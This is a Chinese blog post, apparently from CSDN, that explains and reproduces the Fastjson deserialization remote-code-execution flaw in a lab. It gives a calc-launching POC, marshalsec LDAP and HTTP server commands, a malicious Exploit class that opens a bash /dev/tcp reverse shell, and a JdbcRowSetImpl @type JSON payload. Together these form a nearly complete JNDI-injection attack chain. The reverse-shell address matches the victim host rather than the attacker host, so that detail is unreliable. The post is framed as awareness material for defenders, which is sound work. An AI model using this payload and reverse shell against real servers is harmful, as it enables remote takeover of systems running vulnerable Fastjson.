Fastjson反序列化漏洞利用原理和POC

本文深入探讨了Fastjson的反序列化漏洞,包括其利用原理和影响。Fastjson允许通过"@type"指定任意类名进行反序列化,攻击者可构造恶意JSON字符串触发代码执行。文中通过本地环境的POC演示,展示了如何利用此类漏洞执行命令。此外,还介绍了利用JDNI注入的方式实现远程代码执行,通过LDAP服务和HTTP服务交互,最终在靶机上获取反弹shell。
摘要由CSDN通过智能技术生成

0x01 前言

FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。Fastjson应用范围非常广,在github上star数超过22k。2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。2020年6月1日 fastjson爆发新的反序列化远程代码执行漏洞,fastjson 1.2.68及以前版本存在黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。本文简要介绍Fastjson反序列化漏洞利用原理并复现被利用过程,以使得技术人员在工作中对Fastjson反序列化漏洞有更进一步的认识,提高重视程度。

0x02 Fastjson的反序列化漏洞利用原理

漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

  1. Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
  2. Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰。

对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:

parse (String text)

parseObject(String text)

parseObject(String text, Class clazz)

无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

为了理解利用过程,在本地环境演示Fastjson反序列化漏洞POC利用过程,为显示效果直观,直接弹出计算器。

import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

class Poc {
	private String cmd;
	public Poc(){
		System.out.println("Poc() is called");
	}

	public String getCmd() {
		System.out.println("getCmd() is called");
		return cmd;
	}
	public void setCmd(String cmd) throws IOException {
		System.out.println("setCmd is called");
		this.cmd = cmd;
		Runtime.getRuntime().exec(cmd);
	}
}
	
public class TestPoc {

	public static void main(String[] args) {
		String Poc = "{\"@type\":\"poc.test.Poc\",\"cmd\":\"calc\"}";
		JSONObject b = JSON.parseObject(Poc);
	}
}

Fastjson允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,为了让服务端按照指定类型反序列化,所以这里再引入一个@type。通过type指定了反序列化的类型,在给parseObject传参时,@type指定了当前字符串按照Poc类来解析。在Poc类中写了一个无参构造方法、getter和setter方法。根据结果显示,在反序列化时同时调用了无参构造函数以及getter和setter方法,setter方法中中通过exec执行了外部命令计算器。

0x03 Fastjson的反序列化漏洞利用

基于上文在本地环境演示利用基本原理,本节基于JDNI注入的方式复现Fastjson反序列化远程代码漏洞利用过程。流程示意图:

其中主机A(IP:192.168.19.130)为靶机(被攻击服务器),提供http服务,存在Fastjson反序列化漏洞。主机(IP:192.168.19.128)为攻击者服务器,部署LDAP服务和HTTP服务,HTTP可获得恶意Java类。为了便于描述,分别称为主机B和主机C。
主机B的LDAP服务利用marshalsec工具部署,命令为:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.19.128:8083/#Exploit 9999 Listening on 0.0.0.0:9999

主机C基于python搭建简单HTTP服务,根目录可访问到恶意Java类编译后的.class文件Exploit.class

python -m SimpleHTTPServer 8083

Exploit类执行后可获得反弹shell,Exploit类内容如下:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.19.130/1888;cat <&5 | while read line;do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

 

漏洞利用执行流程如下:

  1. 黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
    {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
        },
        "x": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://192.168.19.128:9999/Exploit",
            "autoCommit": true
        }
    }
  2. 主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。
  3. 主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。
  4. 主机A执行恶意Java类,主机B获得反弹shell,控制主机A。

  • 8
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值